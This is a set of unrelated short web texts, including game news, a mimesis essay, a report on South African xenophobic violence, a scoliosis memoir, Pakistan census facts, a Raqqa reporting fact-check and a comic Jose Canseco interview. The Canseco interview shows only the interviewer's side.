-Last Friday, Capcom published a picture on Twitter which suggested that Urien was not the only character with a secret suit in Street Fighter V. Since then there have only been a couple of days, but a player managed to solve the mystery behind its tweet.  In a recent publication, the user of Steam called “The Who” said that it is possible to unlock alternate costumes for other fighters, and also revealed how to perform this trick.  The secret is to keep pressing and holding the buttons of LP+MP+HP+LK and hold UP after selecting their character until the battle begins. This also works between rounds that should not be activated from the start.  So far, these variants have been confirmed:  Chun-Li – Costume CPT without boa  Chun-Li – Without skirt swimsuit  Cammy – CPT without vest suit  Cammy – swimsuit without equipment  Necalli – Costume CPT shirtless  Laura – Shirtless swimsuit shirt  Karin – Swimsuit without glasses or hat  Ibuki – Swimsuit without scarf  R. Mika – Swimsuit without hoodie  In recent news, Capcom has also released a tool to fix security risk in the recent patch of Street Fighter 5. The company has provided a rollback of the patch and also introduced a tool which will remove the corrupted file, incase you were not lucky enough to have downloaded the patch at the very first place. You will need to follow all the instructions given at this link and step by step follow the process.
-Need 50 plates for a big occasion? (Picture: Wholesale Clearance UK)  Plenty of useless souvenirs have been produced to celebrate the birth of Prince George. From weird dolls to a CD of royal lullabies, if you’re a big fan of the third in line to the throne you can spend your hard-earned cash on just about anything.  But it seems one company was a little too keen to cash in on the occasion, ordering 5000 commemorative plates labelled ‘to celebrate the birth of the royal princess’ after receiving an ‘inside tip’, which turned out to be incorrect.  It’s a shame really, these would have been nice (Picture: Wholesale Clearance UK)  The company is now selling the plates for £149 per box of 50 and suggests several possible uses for the pieces of ‘inaccurate history’ including ‘waiting for baby number two and selling them for a profit’, ‘having a plate smashing contest’ and to ‘give to your colleagues as the worst secret Santa present ever’.  The plates will probably still work as a plates although we accept no responsibility for any embarrassment, shunning or charges of treason that result from using these plates at a dinner party/royal occasion.
-Mimesis, according to the Silva Rhetoricae, is “The imitation of another’s gestures, pronunciation, or utterance.” It’s a part of delivery, which is one of the Canons of Rhetoric, which according to Silva Rhetoricae, “concerns itself with how something is said, rather than what is said.” While the definition of mimesis has changed since the days of Plato and Aristotle, the way it is used in rhetoric has also changed, to the point that people have debated what the correct use was (going through that research was not easy). However, does mimesis still have any usage in modern times? I plan to explain how mimesis is used in our day and age, by explaining how it is used as a way of adapting myths and legends in both print and digital texts.  Since mimesis is a fancy way of saying imitation, you would think that this would be used in spy films like James Bond or Mission Impossible. While in a sense, that’s true, mimesis is not the main focus of those franchises (especially if you have read the original James Bond novels from Ian Flemming; Bond is definitely more likable in the films). This paper focuses on mimesis as it takes one text and adapts it into a similar form for a different medium. Take for example, Heracles, or Hercules, depending on if you are using Greek or Roman mythology (Everyone gets the two confused, even me). While the stories of this legendary warrior have had multiple print and digital adaptations, including a version that came out recently that starred Dwayne “The Rock” Johnson, one of the most famous stories is how Heracles having to complete twelve labors to be forgiven for killing his wife Megara and his children in a murderous rage. This story has been retold in a variety of formats, including Disney’s animated version, which of course toned down a lot of the more violent aspects of Heracles’ life. This tale is one of the most famous and has been retold multiple times, but adapting Heracles in a digital medium was a little bit harder to find, as many of them change certain aspects of Heracles. Then, I remembered the video game franchise Fate/Stay Night, which is story about how masters call upon servants to fight each other for the Holy Grail (Some of which have no connection to the Holy Grail). In Fate/Stay Night, Heracles is a “Berserker” class servant, meaning he is strength incarnate, which follows the multiple stories about Heracles being super strong. Heracles is also in the murderous rage, like he was when he killed Megara and his children. In this way, mimesis is used to adapt Heracles into a digital medium.  Another character from mythology that has been used in print and digital texts is Gilgamesh. According to the Ancient History Encyclopedia, Gilgamesh’s story, The Epic of Gilgamesh, “pre-dates Homer’s writings by 1500 years and, therefore, stands as the oldest piece of epic Western literature.” Like many myths and legends, The Epic of Gilgamesh was told orally for many years, until someone wrote them down. However, due to the nature of oral storytelling, what was said and what was written can vary, this is especially true when translating text from one language to another. An aspect of Gilgamesh that has stood the test of time is that Gilgamesh is “too arrogant and proud” (we all probably know someone like that). This aspect carries over to how Gilgamesh acts in the game Fate/Stay Night; Gilgamesh wears a golden suit of armor, always shows how powerful he is, and tells everyone in earshot that if you do not listen to him, he will kill you on the spot. Plus, even when you follow Gilgamesh, he will still find a reason to kill you. This aspect of Gilgamesh in Fate/Stay Night mimics the arrogance of the Gilgamesh from the original epic poem. Another aspect that the story and the game talk about is that Gilgamesh is not evil. Arrogant, yes, but not evil. The reason Gilgamesh acts the way he does is because in the original poem, Gilgamesh is a demi-god, born from the relationship of a god and a human (which, if you have kept up with Greek history, is not always a good thing; ask Zeus). Gilgamesh just thought that he had the divine right to rule the land of Uruk, like his father. This aspect is mimicked in Fate/Stay Night, but instead of conquering Sumeria, Gilgamesh will have to conquer Japan (since that is where the game takes place, in the fictional Fuyuki City).  The final myth I plan to talk about for mimesis is how King Arthur is used in print and digital texts. While the story of King Arthur has been popular throughout the years; however, the where the reality and how the legend ends is difficult to pinpoint. One of the first stories that mentions King Arthur is the Vulgate Cycle. While the Vulgate Cycle does contain many aspects of King Arthur, it is focused more on the story of Lancelot and his affair with Arthur’s wife, Guinevere (this has continued through the ages in different adaptations). The Vulgate Cycle was the inspiration for Sir Thomas Malory’s Le Morte d’Arthur, which tells of how King Arthur returned Excalibur to the Lady of the Lake (what is it with people wanting to tell the death of a character). This story mimics what was already introduced in the Vulgate Cycle, while adding a few changes to the story. Many stories of Arthur also talk about the famous “Sword in the Stone”, which has been used in films and novelizations, including Disney’s animated adaptation called The Sword in the Stone, which covers many of the stories of a young Arthur Pendragon, but with a few changes to add comedy to the film (no wonder many people do not find that adaptation endearing). However, the digital texts that talk about King Arthur get interesting when we start to talk about Fate/Stay Night, as it has one big change to the previous stories.  In Fate/Stay Night, the major change to King Arthur is that Arthur becomes Arturia (when I found this out, it was odd). While the famous King’s gender has changed, the aspects of Arturia’s personality are consistent with the print texts previously mentioned. Arturia is a fair ruler of England, puts everything she has in defending her country, and is chivalrous in everything she does, similar to the Arthur of legends old. However, this also causes Arturia’s downfall; as Arturia goes off to fight for England’s glory, Arturia’s son, Modred (if you ask how that works, we’re not going to get this paper finished), usurps Arturia’s throne in his abscense, which causes England to go into anarchy. When Arturia returns, she notices that even though she was protecting England from the outside, she didn’t notice what was happening closer to home. Besides the gender change, this mimics what happens in the earlier Arthur stories.  In Fate/Stay Night proper, Arturia is summoned for the Holy Grail War (which makes sense because in many versions, Arthur is looking for the Holy Grail). Arturia’s main weapons are Caliburn and Excalibur; Fate/Stay Night decides to use the version of Arthur from Malory’s Le Morte d’Arthur, where Arthur both gains and loses Excalibur from the Lady of the Lake, and Caliburn is the titular “Sword in the Stone.” Just like in the stories, Arturia continues to be chivalrous, just like her male counterpart. When Arturia wins the Holy Grail War, she is able to have her wish granted, which is that she wishes that she was not the King her people wish her to be. While this changes the ending of how Le Morte d’Arthur turns out, it’s an interesting idea; if Arthur had a second chance to fix what happened to England, would he?  In this paper I wanted to see if mimesis works in our world today, using how mythology can be adapted from their initial incarnations to modern print and digital texts. I wanted to use the digital text of Fate/Stay Night as the basis for this paper as it made look up many of the characters in the franchise and see what they were based on. While mimesis might give writers the ability to embellish on the original text or adapt it as they see fit, this can either be a cause for celebration or it backfire in the writer’s face. Thankfully, most of the characters in Fate/Stay Night are mostly similar to the mythological characters they are based on (I do not want to have to tell you why King Arthur was made into a woman; really, you do not want to know).  The term mimesis has had its definition changed throughout the years, the concept of mimicking something has stayed the same. Books, films, comics, and video games have adapted multiple stories to fit their mediums (whether or not they are good is another story, and could be another paper entirely). Problems can arise from adapting one medium to the next, however nothing is perfect. I think that mimesis is still something that is viable in our world today, as there are multiple adaptation of mythological characters, including the Guy Ritchie directed King Arthur film (again, whether or not it was good is another story). I think there will still be more adaptations of mythological characters in the future; they are easy to pull off (relatively speaking), people know of these stories or have a certain knowledge of them, and they usually do not need anything else added to them. Whether or not aspects are removed or added are usually more behind the scenes issues that I’m not going to get into. Having a video game that lets King Arthur, Gilgamesh, and Heracles in the same setting sounds fun to me. This is a way mimesis is able to be shown in the modern world without having to change too much of the characters backstories. If there is one thing I can say about mimesis is that there is a lot more that can be said about it, but that will have to be for another day.
-President Jacob Zuma has called for an end to 'shocking and unacceptable' attacks on Africans and South Asians  The anti-immigration violence in South Africa has forced thousands of people to flee their homes and the country  At least six have been killed by armed gangs wielding machetes, hammers and sticks who are targeting foreigners  A shop owner from Mozambique has died from his injuries in a Johannesburg hospital amid xenophobic violence  Advertisement  A bloody and wounded shop owner has been pictured just moments before he died from his injuries on another day of xenophobic attacks in South Africa.  The man who is believed to be from Mozambique was taken to a hospital in Johannesburg where he tragically passed away.  At least six people have been killed and many thousands displaced from their homes since the violence against immigrants erupted in the city of Durban several weeks ago.  Despite making 30 arrests overnight, police are struggling to subdue the machete-wielding gangs who ransacked immigrant-owned shops in the slums of Johannesburg.  Many families in the city who now fear for their lives have abandoned their homes and fled to a makeshift refugee camp which lies just east of Johannesburg.  South Africa's President Jacob Zuma has called for an end to the 'shocking and unacceptable' attacks on immigrants from Africa and South Asia, saying: 'No amount of frustration and anger can ever justify the attacks on foreign nationals.'  Scroll down for video  Victim: A shop owner believed to be from Mozambique (pictured) has died from his injuries amid the xenophobic violence that has gripped South Africa  Wounded: Bloodied and hurt, the man was taken to a hospital in Johannesburg where he eventually died  Help: A passer-by comes to the aid of the shop owner who was fatally attacked in poor area of Johannesburg and later died in hospital  Dying: He is one of at least six who have been killed in the country this week as armed gangs target foreigners in a spate of xenophobic attacks  Looted: A woman sifts through the remains of the ransacked store she was renting to foreign nationals who are now being targeted by violent groups in Johannesburg  Attacks: At least six people have been killed and many thousands displaced from their homes since the violence against immigrants erupted in the city of Durban several weeks ago  Violent: Gangs of anti-immigrant protesters armed with hammers, knives and machetes have been reeking havoc in South Africa  Scorched: 12 people were arrested overnight as anti-foreigner attacks in South Africa spread to parts of Johannesburg where rioters torched tires (pictured)  Dangerous: Despite making 30 arrests overnight, police have struggled to control the gangs who have torched cars and shops owned by foreign nationals  Refugee: This child who awaits much-needed hospital treatment is one of dozens whose family has been forced to abandon their homes in Johannesburg for a makeshift camp in the city  Protection: Foreign nationals who fear for their lives have gathered at a relief camp (pictured) set up in Primrose, East of Johannesburg  Innocence lost: One of the many refugees now seeking shelter in Johannesburg is two-year-old toddler Knowledge (pictured)  Pain: One man needed emergency treatment for his injuries at the refugee camp set up for foreign nationals fleeing attacks from South Africans  Victims: South African President Jacob Zuma has said the majority foreign nationals (pictured) being targeted by angry, armed mobs are living in the country legally and contribute to its economy  Anger: Zuma has called for an end to the 'shocking and unacceptable' attacks on immigrants from Africa, some of whom now occupy a refugee camp east of Johannesburg (pictured)  Homeless: Some South Africans blame immigrants coming to the country (pictured) of taking jobs and opportunities away from them  Justification: But South African President Zuma has said 'no amount of frustration and anger can ever justify the attacks on foreign nationals'  There was a heavy police presence in the Alexandra township as armed rioters looted shops, burned tires and built street barricades overnight. And armed policeman fired rubber bullets at the groups who have torched shops and cars in the poor areas of Johannesburg in recent days.  Police claim that attacks on immigrants - many of whom are from other African countries - have largely subsided in the country's east where the violence began.  With unemployment and poverty levels high in the country, some South Africans have accused the immigrants of taking jobs and opportunities away from them.  A police spokesman said the 30 people arrested in Johannesburg overnight will be charged for 'public violence, malicious damage to property, house breaking and theft'.  Thousands of foreigners in the country have fled their homes and the country amid the violence, escaping to makeshift camps as well as neighbouring countries like Zimbabwe, Malawi and Mozambique.  The surge of violence against immigrants is widely blamed on a speech made by King Goodwill Zwelithini, a traditional Zulu leader who blamed the foreigners living South Africa for its high crime rate and said they must 'take their bags and go'.  He has been accused of 'igniting' the Zulus who comprise one of South Africa's largest ethnic groups by saying 'we must deal with our own lice' in a speech broadcast by a local radio station.  The King has since said his words were misinterpreted but for some, Zwelithini simply articulated what many were feeling.  Protest: South African demonstrators have taken to the streets in Johannesburg in a bid to raise awareness of the xenophobic attacks taking place in its township  Furious: And in neighbouring Mozambique, hundreds have been protesting the violence being inflicted on their countrymen in South Africa  Safety: As people in Maputo, Mozambique (pictured) protest against the violence in South Africa, its government has offered to evacuate its citizens from the country  Rise up: Mozambique nationals (pictured) are furious at the violence against their citizens in Johannesburg were four people were killed in a week where shops owned by foreigners were looted back in January  Blame: Protesters in Mozambique (pictured) hold up signs blaming South African President Jacob Zuma for the violence befalling immigrants in the country  Demonstrators: Some South Africans (pictured) have tried to raise awareness for the xenophobic violence but some blame the immigrants for taking jobs in a time of severe unemployment  Armed: At least six people have died since South Africans wielding machetes and other weapons (pictured) began attacking and looting properties owned by fellow Africans  Brutal: The surge of violence against immigrants is widely blamed on a speech made by a traditional Zulu leader who blamed foreigners for a rise in hate crime  Response: Police in Johannesburg (pictured) have been firing rubber bullets to subdue the violent gangs in the city  Battle: A South African police officer trains his sights on Zulu protesters who were demonstrated in front of their hostel in the Jeppestown district of Johannesburg (pictured)  Retaliation: But police also claim that attacks on immigrants - many of whom are from other African countries - have largely subsided  The violence has also been blamed on high unemployment and while recent figures put it at 25 per cent, economists believe it is much higher and crippling the country with widespread poverty and a glaring class divide.  Meanwhile foreign nationals have condemned South Africa's police for failing to protect them and even stirring hostility.  The government says it is addressing complaints about undocumented migrants but many foreign nationals are living legally in South Africa and contributing to economic development.  But the situation has become so severe that the government of Malawi has hired buses to repatriate 500 of its nationals, according to the country's Information Minister.  Kenya has also offered to evacuate any of their citizens who feel threatened and on just today, Mozambique has temporarily blocked a road leading to South Africa.  60 people died during similar unrest in the country in 2008 and in January this year, four people were killed in a week where shops owned by foreigners were looted in Soweto, Johannesburg.  Furious: A terrifying woman covered in black soot (pictured) began screaming at a group of foreign nationals in Johannesburg  Savage: Rioters have armed themselves with sticks, knives and baseball bats as they attack immigrants in Johannesburg (pictured)  Rioters: The violence in South Africa has also been blamed on high unemployment and a glaring class divide  Vicious: With a total population of about 50 million, South Africa is home to an estimated 5 million immigrants who are now being targeted by brutal gangs (pictured)  Zimbabwe's Information Minster Jonathan Moyo tweeted that 'xenophobia today can easily mutate into genocide tomorrow' adding that the Zulu king should 'extinguish what he ignited'.  While in Somalia's capital of Mogadishu, some locals believed their countrymen would have been safer in their troubled native country than in South Africa.  One resident of the city said: 'This must become a lesson for them to return home... Otherwise, they will be eliminated one by one."  It is also a major destination for asylum seekers and currently houses more than 300,000 of them according to projections by the office of the United Nations High Commissioner for Refugees.
-I never saw myself as a writer—not a natural one at least. There are those people who are born to write. You know, the ones whose every word reads like butter to your mind, smooth and effortless. That’s not me. Every word takes time. Every sentence requires pre-meditative thought. I have to go back to that time. I have to remember the events. I have to see myself as a child. Smell the muggy Florida air. See the blueness of the Orlando sky. I have to pretend that I am there. I have to envision myself in that time; feel what it felt like. And every step of the way is challenging. It’s not easy to relive some of these memories that I’ve tried so hard to ignore. But, I can tell you that as I remember and write things down, it’s like a weight is lifted. It’s almost like I needed to tell you. I need you to know what it’s like. So that when you see someone who is silently suffering, you can relate, you can understand what it feels like. I suffered silently for years, and in many ways, I still do. I’m trying hard to accept my invisible disability, to embrace the pain, to understand that it’s a part of me, but that’s not always easy to do. It’s been 20 years of my life that I’ve lived this way. Silently in pain. Secretly uncomfortable, while always trying hard not to be an inconvenience.  School was where I always tried to blend in, to camouflage, to pretend that I was just like everyone else. Some days were harder than others. Some days, I couldn’t focus. There were some days I tried so hard to listen to the words that my teacher was saying, but his words would jam together in my mind to the point where I couldn’t even hear him, couldn’t understand what he was saying. It was as if I was listening to someone speaking a foreign language, or even worse, like listening to Charlie Brown’s teacher in Peanuts. I wanted to listen to every word he was saying, but the pain would take over. As he spoke, my thoughts would wander to my desk. It was made of wood, plastic, and some cheap metal. Kids from previous years had started a chewed-up gum collection on all four corners underneath it, and there were days I forgot the gum was there and would accidentally touch a piece of it, old and hard, that had been there for god knows how long. It was so gross. Yet, that didn’t stop me from contributing to the collection. I added my fair share of chewed-up gum to the corners underneath that desk.  My desk was by the window, which was a luxury and a distraction all at once. But on the days that I had a hard time focusing on what the teacher was saying, the window provided an escape. A small peek-hole into the outside world, a tiny solace where I could drift away and forget. It was my way of escaping. It was those days, the really bad ones, that the window helped me escape. I would look out the window and stare at the trees blowing in the wind, and sometimes, if I listened intently, I could hear the birds chirping, and if I allowed myself to drift far enough away, I could smell the freshly cut grass. Previous kids, who sat at my desk before me, were probably not as lucky to have a window to escape. The signs of boredom and utter distractions were written all over the inside of the compartment of my desk. Pencil scratchings garnished the entire top compartment, leaving no sign that the inside was partially made of wood. I occasionally tried to stick my hand in the compartment and erase some of the markings, but my hand would always come out so stained with gray pencil markings that I eventually gave up.  But it wasn’t like I had the luxury of escaping in my thoughts all the time. In reality, it was seldom that I was able to fully escape through the window. Most days, I resisted the temptation of drifting away. I would force myself to stay seated, even though all I wanted to do was stand up and stretch because I couldn’t get comfortable in those chairs. I would shift and turn, lean back, lean forward. But nothing helped. The longer I sat there, the more I could feel the muscle spasms collecting on the right side of my ribs; it was agonizing. I tried to stretch out the right side of my body by moving my shoulder up and leaning to the left side. But when I would do that, I would get cramps on the left side of my abdomen, and then I would feel trapped in my body and stuck in my chair.  The worst part of it all was that sitting in a chair highlighted my deformity, and I would obsess over it. I could feel the unevenness of my spine, and it bothered me that I couldn’t sit with my back flat on any chair. I was like an uneven piece of wood, where one side was higher than the other, and it drove me crazy. My back was never flat against the back of the seat. The right side was always touching, and the screw heads that held the seat together would be shoved into my ribs. The left side of my body seldom touched the chair. Most of the time, I would place my left hand underneath the left side of my body; this would even it out and alleviate some of the stress that was placed on my spinal protrusion. The longer I held my hand behind my back, the more numb it would become. Sometimes I would leave it there for so long that it would fully fall asleep, and I would have to bare through the tingling feeling of waking it up.  This could have been easily avoided. I could have brought a pillow to school. I could have asked Dr. Gray to write me a note allowing me to randomly stand up in class. I could have done so many things to solve the problem, to avoid the agonizing pain that I lived through, but I didn’t. The detrimental combination of my pride and the shame of my powerlessness wouldn’t allow me to change the situation, to speak up for myself, and instead, I sat there in silence, pretending that everything was okay, even when it wasn’t.
-Pakistan is preparing for its first census in 19 years. Here are some facts about the upcoming enumeration exercise of the sixth most populous nation in the world.  Read: All set for country’s biggest census exercise  A third sex  For the first time, transsexual people will be counted separately, according to representatives of this historically recognised but often persecuted community in the country.  The forms had been printed well in advance of court decisions to include them in the count. Now enumerators have been informed that those surveyed will have three numeric choices for their gender: 1 for men, 2 for women, 3 for those who declare themselves transsexuals.  Only nine languages  Language is considered an essential tool in evaluating the makeup of multi-ethnic Pakistan — but only nine of the country's estimated 70 will be listed , to the dismay of many communities.  No regional languages from sparsely populated Gilgit-Baltistan will be included nor will Gujrati — spoken by some Muslim immigrants from India who believe the lack of recognition will drive their mother-tongue towards oblivion.  Examine: The future of Gujarati language in Pakistan  Faith matters  The census will provide an insight into the true number of religious minorities, especially Christians and Hindus. Estimates are approximate and disputed, ranging from 2 to 10 million for the former and 2.5 to 4.5m for the latter.  Citizens can declare themselves Muslim, Christian, Hindu or Ahmadi.  Otherwise, they can be “members of scheduled castes” — members of marginalised Hindu families, or “other”. There are no separate options for Sikhs, Parsis or Baha'i.  Feeling flush  One box asks households how many toilets they have — a particularly salient question in Pakistan, where the United Nations estimates up to 40 per cent of people defecate in the open air with dramatic health consequences, especially for children.  Nationality  The census gives two nationality options: Pakistani or foreign.  But the army, which will conduct a parallel count, plans to be more precise mainly because of the country's Afghan refugees who are accused of everything from terrorism to trafficking.  Many local officials fear Afghans could be counted as local and skew demography in favour of ethnic Pashtuns, whose political parties would benefit as a result.  On the other hand, the estimated six million Pakistanis working abroad will not be counted. No information will be collected on internal migration — necessary to assess the political weight of a province where many people have moved for economic reasons.  This information will be the subject of a separate subsequent survey based on a large sample of the population, according to authorities.
-A sticker, placed on SpaceX's Falcon 9 rocket launched from the Kennedy Space Center in Florida Monday which pays tribute to a local teen who died in 2015, has made its way to space and back.  "It was really emotional to see it go up and to know what we know now about rockets," Rhett Hering's mom, Lorna Hering said through tears.  "But to know Rhett was on it and that he was going to get to go to space. It was so much more emotional than I expected."  Back in July, SpaceX decided to honor 15-year-old Rhett Hering and the movement sparked by his death called the "Rhett Revolution," by placing a "Rhett Revolution" sticker on the first stage booster of the Falcon 9 rocket at the McGregor testing facility.  On Monday, SpaceX launched the rocket while Lorna and Jimmy Hering watched on from a private viewing area at NASA in Florida.  "It's truly amazing to watch this rocket go up. The fire, to feel it, to hear it," Jimmy said. "And then seven minutes later to watch it come back down."  Two minutes after the Falcon 9 launch, the first stage booster with the "Rhett Revolution" sticker on board, separated from the rocket and like clock-work, landed 8 minutes later at a pad 11 miles away.  "Now we're sitting here waiting with excitement to see at some point if a piece of that Rhett Revolution sticker made it back," Jimmy said minutes after lift-off.  The landing site of the booster is not open to the public or the media but SpaceX invited KWTX to accompany Rhett's parents as they saw the booster just hours after it landed and when they finally got the answer to the question they had.  The sticker in their son's honor had made it back home and Space X says they hope to return it to the family soon.  "Really I'm speechless I think," Jimmy said. "This culminates an incredible two days."  When the booster carrying Rhett's message of love reentered the earth's atmosphere, it came back faster than the speed of sound but still landed just 4 feet from its exact target.  It's an ending to a mission for the Herings that they say came as no surprise.  "That was to be expected," Jimmy said. "Everything was perfect from the very beginning. Putting Rhett's sticker on it and allowing us to be a part of it and to land it almost dead on bullseye. It was meant to be."
-FACT CHECK Reuters’ Chinese whispers further muddy the truth of the Raqqa ISIS deal  Updated November 17  BBC reporter Quentin Sommerville’s Sunday, November 12 report on the deal to allow some ISIS fighters to leave Raqqa – entitled “Raqqa’s Dirty Secret” – has generated significant debate online since publication.  The BBC has uncovered details of a secret deal that let thousands of IS fighters and family members escape from Raqqa https://t.co/ASZfuHXeMN with @Dalatrm pic.twitter.com/HczRXrsE9Z — Quentin Sommerville (@sommervilletv) November 13, 2017  On Thursday, Reuters published a story headlined “French military says coalition opposed IS withdrawal from Raqqa” that supports statements made by Coalition spokesperson Colonel Ryan Dillon. The story was published at 13:33:52 GMT.  Within that story, Reuters made claims about the number of fighters who had left Raqqa on October 12 in a convoy.  “A report by BBC television on Sunday said some 4,000 Islamic State militants, including hundreds of foreign nationals, had been evacuated from Raqqa as part of the agreement and spread across Syria and as far as Turkey.” Reuters: French military says coalition opposed IS withdrawal from Raqqa  In case of later updates, the original Reuters story is archived here.  The BBC report said:  “Some 250 IS fighters were allowed to leave Raqqa, with 3,500 of their family members.” BBC: Raqqa’s Dirty Secret  Again, in case of later updates, the original BBC story is archived here.  The discrepancy between what the BBC report claimed – 250 fighters plus 3,500 family members – and the Reuters report – 4,000 Islamic State militants – is stark, and highlights a significant problem in reporting events in Syria: Chinese whispers change facts to fiction, errors compound creating new narratives.  Sommerville subsequently doubled down on the numbers with comment from the Coalition.  Coalition confirms BBC exclusive: 3500 IS family members left Raqqa and 250 fighters in ceasefire. Convoy stretched for 8km. Deal agreed by "local partners", coalition says it didn't want anyone to leave. Western officer was present at negotiations but didn't take "active part". — Quentin Sommerville (@sommervilletv) November 13, 2017  Reuters clearly got it wrong. The BBC never reported that 4,000 ISIS fighters left Raqqa, nor that hundreds were foreign fighters.  It's buried a bit down this (excellent) @BBCNews investigation – though this sentence is key: "Some 250 IS fighters were allowed to leave Raqqa, with 3,500 of their family members. " More than 90% of those who escaped Raqqa as part of a local deal with ISIS were civilians. https://t.co/brvlEu4AW2 — Airwars (@airwars) November 13, 2017  Update November 17  Reuters updated the story, saying “This version of the story corrects paragraph three to clarify people, not fighters evacuated.”  However, Reuters is a news agency, and the incorrect story was republished at leat 50 times.  Fog of war  The Reuter report only adds to questions surrounding the BBC reporting, the “exclusive” nature of the report, and what actually happened. The report added significantly to the story, adding detail like the route to convoy took to Deir Ezzor province with interviews of people along that route, plus interviews with people who drove vehicles in the convoy, but it presents the underlying background information as entirely new  The Defense Post attempted to cover the two separate deals brokered by Raqqa Arab tribal leaders which became conflated in reporting: One allowed local Syrian ISIS fighters to surrender to the SDF (they were detained and brought to Tabqa), while the other was the deal to allow others to evacuate to Deir Ezzor.  At the time, the story was unclear. A significant portion of the BBC’s “new” information is simply clarification of what was known at the time.  Extracts from our reporting are below, but there are some significant points to note:  On October 12, The Defense Post was first to publish the Coalition confirmation that a Coalition leader attended meetings about the deals but did not actively participate in discussions.  On October 14, an SDF military source told AFP that vehicles were waiting near the city and would take fighters who surrendered to Deir Ezzor province.  On October 15, the (now disappeared) SDF spokesperson Talal Silo told AFP: “More than 3,000 civilians left on Saturday night as part of a deal and went to areas controlled by the Syrian Democratic Forces.”  Also on October 15, Raqqa Civil Council member Omar Alloush said some foreign fighters had left Raqqa alongside Syrian ISIS militants.  October 12  On Thursday, October 12, The Defense Post published a story entitled Coalition confirms meeting on ISIS withdrawal from Raqqa but says it did not participate  A spokesperson for the U.S.-led Coalition told The Defense Post that a Coalition leader attended a Wednesday [October 11] meeting regarding an orderly Islamic State withdrawal from Raqqa, but did not participate in the discussion. The meeting reportedly occurred in Ayn Issa, the interim base for Raqqa Civil Council. “The Coalition is aware of the meeting between the Raqqah Civil Council and local Syrian Arab tribal elders,” the spokesperson said in a Thursday, October 12 email to The Defense Post. “A Coalition leader attended but did not actively participate in discussions.” “The Coalition opposes any arrangement that allows ISIS terrorists to depart Raqqah,” the spokesperson told The Defense Post.  October 14  On Saturday, October 14, The Defense Post published a story entitled Council, tribes reach deal to evacuate civilians from ISIS-held Raqqa  Raqqa Civil Council and local Arab tribal elders have brokered a deal to evacuate civilians from the city, the U.S.-led Coalition confirmed in a Saturday, October 14 press release. A convoy of vehicles will leave Raqqa later on Saturday, in an arrangement designed to minimise civilian casualties as Syrian Democratic Forces close in on the remaining parts of the city still held by Islamic State, the release said. The release said the deal brokered on Thursday “purportedly excludes foreign Daesh terrorists” and that people leaving the city will be screened by the SDF, but it did not specify if local ISIS fighters are included in the arrangement. “The Coalition was not involved in the discussions that led to the arrangement, but believes it will save innocent lives,” the release said, adding that it will mean a reduced risk of civilian casualties. … Earlier, Coalition spokesperson Colonel Ryan Dillon told Reuters that around 100 ISIS fighters had surrendered in the previous 24 hours and were “removed from the city.” A Raqqa official told AFP that Syrian ISIS militants surrendered to the SDF. “They sent a message to the Raqqa Civil Council and to the tribal mediators,” the official said. “Those that surrendered are local, not foreigners – the foreigners have not handed themselves in yet,” he said. Activist group Raqqa Is Being Slaughtered Silently tweeted that dozens of buses entered Raqqa overnight. … An SDF military source told AFP that vehicles were waiting near the city and would take fighters who surrendered to Deir Ezzor province.  October 14  Later on October 14, The Defense Post published a story entitled ISIS fighters to evacuate Raqqa or surrender to SDF after deal with tribal elders  In a statement published late on Saturday, October 14, tribal leaders from Raqqa said that after an appeal to the SDF, an agreement was reached to allow local ISIS fighters to leave Raqqa and the tribes would “ensure their exit into areas outside the city.” … The elders said they were arranging a “mechanism” for them to leave, and they would protect those taken as human shields, reiterating that they “will ensure the lives of those who will be removed.” … However, Raqqa Civil Council member Omar Alloush told Reuters foreign fighters would be evacuated, and that it would take place overnight. He told AFP that they may be taken to Deir Ezzor province. Alloush said up to 500 ISIS fighters remained in Raqqa. “They have 400 hostages with them – women and children – in the national hospital,” he said. … A Raqqa official told AFP that Syrian ISIS militants surrendered to the SDF. “Those that surrendered are local, not foreigners – the foreigners have not handed themselves in yet,” he said.  October 15  On Sunday, October 15, The Defense Post published a story entitled SDF launches final assault on Raqqa after some ISIS fighters evacuated.  The story summarised and collated information from that day.
-Hi, Jose.  Thanks for the interview. I know this is a tough time for you. So, you shot your middle finger off cleaning your gun?  Clearly. And that’s a positive way to look at it. At least it was just a finger, you know? There are body parts that are a lot more important.  Hey, good for you. You look like you try to stay young and work out.  You look good, Jose. You really do.  I did not say you do, Jose. I never once said that. Back to the shooting accident for a minute — and I’m not trying to lecture you — but I hope you learned the value of gun safety and keeping guns unloaded and locked up? Where is your gun right now?  Okay. I’m not sure if that’s safe or not. Gun accidents just happen so fast. If only there were a way to go back in time and not shoot off your finger, right?  Later? Jose, time travel is a huge deal. It would change history. You could go back in time right now and fix everything: shooting off your finger, that home run ball that bounced off your head, Hitler being born, that time you wore a mesh shirt. All of it. Why can’t you explain now?  Is that goat wearing a diaper? I guess you can’t be too safe today with germs and such.  I will. You know, with everything going on in the world — Ebola, people shooting their middle fingers off, goats getting arrested by human police officers — it’s hard not to get down and depressed.  I’ll try that. Wow, Jose … saving puppies, diapering goats. You seem to really be into animals.  I guess.  I’m going to call bull on that one, Jose. Horses are much faster than humans. And I really doubt you ever raced even one horse around the bases. At best, what you’re saying is a theory.  And now you’re onto dinosaur theories?  I mean, with their wings, is what I’d guess. Do you understand how flight works?  Oh. Okay. Thanks.  Noted.  Got it.  CarMax, too? You seem to have a lot of negative experiences with some big-name brands.  Jeez. Don’t you have anything positive to say about anyone?  I’ll check that out the next time I’m in Secaucus. I have to agree with you on what you said about politicians, though. They’re all frauds.  Al Gore isn’t dead.  That may be true. But Al Gore still isn’t dead.  Have you ever considered getting into politics? On a scale of 1–to-10, how likely is it we one day see a Mayor Canseco or Governor Canseco?  I don’t know.  Stop yelling, Jose! I don’t know the answer. I’m sorry. I’m not from New England and I don’t know their state constitutions. Back to my question: on a scale of 1-to-10, how likely is it you get into politics?  But what if nothing opens up in the U.S. or Canada. Is there any other place you see yourself being in a position of power?  Dennis Rodman. Jose Canseco. It makes total sense, actually. You’re right. But what if politics isn’t in the cards? It’s hard to have your finger on the button if you don’t have a finger. Do you have anything else in the works?  Ooooookay. This interview is for a family site, Jose. Not appropriate. It’s probably time to wrap this interview up now. Maybe your painkillers are to blame for the donkey porn comment? Whatever. You said it. It’s public record now. There’s no way to turn back time, unless you’re going to finally spill the details on time travel?  Another theory. But how do we travel through time? I want specifics.  Maybe. But that’s not time travel. Come on, Jose. I want specifics. Details.  Never mind. You’re clearly hopped up on painkillers. I really appreciate your time and hope the finger you shot off stays re-attached. Thanks again.
